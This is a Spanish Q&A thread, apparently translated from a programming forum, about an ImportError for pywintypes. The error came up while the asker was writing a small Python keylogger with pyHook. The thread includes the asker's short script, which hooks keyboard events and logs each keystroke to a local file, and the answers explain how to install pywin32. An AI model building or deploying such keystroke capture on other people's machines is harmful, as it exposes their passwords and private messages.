ImportError: Ningún módulo llamado pywintypes

Estoy trabajando para hacer un pequeño keylogger con Python, usando los módulos pyHook, pythoncom y Pywin32. Aquí está mi código:

import pyHook, pythoncom, sys, logging file_log = 'C:\\important\\log.txt' def OnKeyboardEvent (event): logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') chr(event.Ascii) logging.log(10, chr(Event.Ascii)) return True hooks_manager=pyHook.HookManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages() 

Cuando se ejecuta, devuelve este mensaje de error:

  File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in  import pywintypes ImportError: No module named pywintypes 

¿Cómo soluciono este error?

pywintypes es parte de las extensiones de Python para Windows , también conocido como pywin32. Tendrá que instalarlo para obtener acceso a pywintypes .

Tenga en cuenta que, al momento de escribir este documento, el pywin32 de mantenimiento de pywin32 no carga archivos a PyPI, por lo que debe obtener una versión adecuada del instalador desde http://pywin32.sf.net .

pip install pypiwin32 funcionó para mí

Simplemente agregue pythoncom34.dll y pywintypes34.dll a su C: \ Python34 \